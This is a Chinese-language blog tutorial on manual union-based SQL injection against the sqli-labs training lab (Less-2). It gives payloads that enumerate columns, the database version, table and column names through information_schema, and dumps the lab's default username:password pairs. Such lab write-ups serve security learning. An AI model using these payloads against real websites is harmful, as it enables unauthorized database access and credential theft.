SQL注入之手工注入

SQL注入之手工注入

Deng YongJie's blog 846 2023-02-12

SQL注入之手工注入

sqli-labs数字型注入

a6c51cb8e8ec4a3b8840fa3c8e105f86[1]

在url中输入id值,执行查询sql语句。即可得到对应数据

less-2源码分析:

d4245f8d3a7b423ebb96ddaa5f894fa8[1]

浏览器 进行数据提交 服务器 :

get 提交  :  url   数据长度 
     速度快  
	 用于: 
	
post 提交 : 服务器    安全性   数据量 

注入流程

708c5f66672d462d8bffd38e68791f2f[1]

注入语句

尝试手工注入:
		SQL注入: 
		1.判断有无注入点   and 1 = 1; true 
		随便输入内容  ==  报错  注入
		              ==  没有注入
		2.猜解列名数量 order by 接上数字
		%20是空格
		字段 4个报错不存在,证明只有3个字段
	
		3.报错,判断回显点 union 合并查询,前面的查询结果并不影响后面的查询语句,即使前面的查询结果不存在的,也不会影响后面的语句执行。
		但是select查询语句的字段数量要和表中的字段数量一致,需要先使用order by判断当前表,有多少个字段
		查询id为1的,3个字段对应的数据
		id=1 union select 1,2,3
		
		4.信息收集 
		通过收集上面select查询字段对应的名字得知
		得知字段2为 name
		得知字段3为 password
		
		  数据库版本 version()
		  可以在select语句中,表中存在的字段数量,任意一个字段替换version函数,查询mysql版本
		  id=1 union select 1,2,version()
		  回显3字段为mysql版本号
		  
		  高版本:5.0  
			系统库: infromation_schema
			
		  数据库名称:database()	
		  低版本:5.0 
		  
		5.使用对应SQL进行注入  
		infromation_schema.tables 查找表名
		table_name是系统库里的一张表,保存所有数据库的表名
		查询serurity库下面 所有的表名 

        数据库名称函数,可以得知当前库名,需要把其中一个字段数量替换,不能超出该表的字段数量
		database()
		?id=-1 union select 1,version(),database()
		
		得知数据库库名:security
		
		注意 = 前后不能有空格
		group_concat()是分组函数,可以过滤掉不是我们查询的表名字,只显示我们查询的表名字
		该表3个字段数量里,其中一个字段数量替换成group_concat函数,从系统库的table表里table_name字段查询当前库的所有表名信息
		注意:当前库名字,可以直接填写字符串,也可以转成16进制,建议使用database函数注入
		sql解释:查询information_schema的tables表,table_name字段,保存着所有库里面所有表的名字,条件是库名=database()函数,即当前库名;使用group_concat函数,过滤出当前库里的所有表名字。
		union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
		
	    查询结果得知有这些表:name:emails,referers,uagents,users
	
		得知用户表: users
		如何查询表里面有那些字段? 
		information_schema系统库里面的column表
		注意:查询表里面的数据,需要转成16进制
		已知条件:
		  库名: security
		  security所有表:name:emails,referers,uagents,users
		  
		从系统库information_schema的column表,column_name字段,保存着所有库里面所有表的字段信息,查询上面sql得知的当前库的users表,里面3个字段的名字信息
		sql解释:查询information_schema的column表,条件是表名=users,字段是column_name,过滤出users表里的所有字段信息
		users 字符 转成 16进制=7573657273   16进制前面需要加上0x
		union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
	
		查询结果得知字段:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
		
		如何查询用户名密码?
		sql解释:查询users表里的username,password字段数据
		select username,password from users
		
		sql解释:查询嵌套,合并查询当前表的3个字段,(在任意1个字段,再替换成select查询语句,使用分组去重group_concat函数,里面包含username:password字段的数据,以:号为分隔符打印出来,从users表里查询)
		0x3a 代表分号的意思 :
		?id=-1 union select 1,2,(select group_concat(username,0x3a,password)from users)
		前面的第一条查询,id等于多少,就会查出id为多少的用户密码。
		如果id为-1 ,则会查出所有用户名和密码
		
		最终结果是:
		字段1 是 ID
		字段2 是 username
		字段3 是 password
		
		所以查询出来的结果是,会在password里,打印出所有用户名和密码,以:号为分隔符
		Your Login name:2
        Your Password:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
        所有用户名和密码,通过手工注入完成查询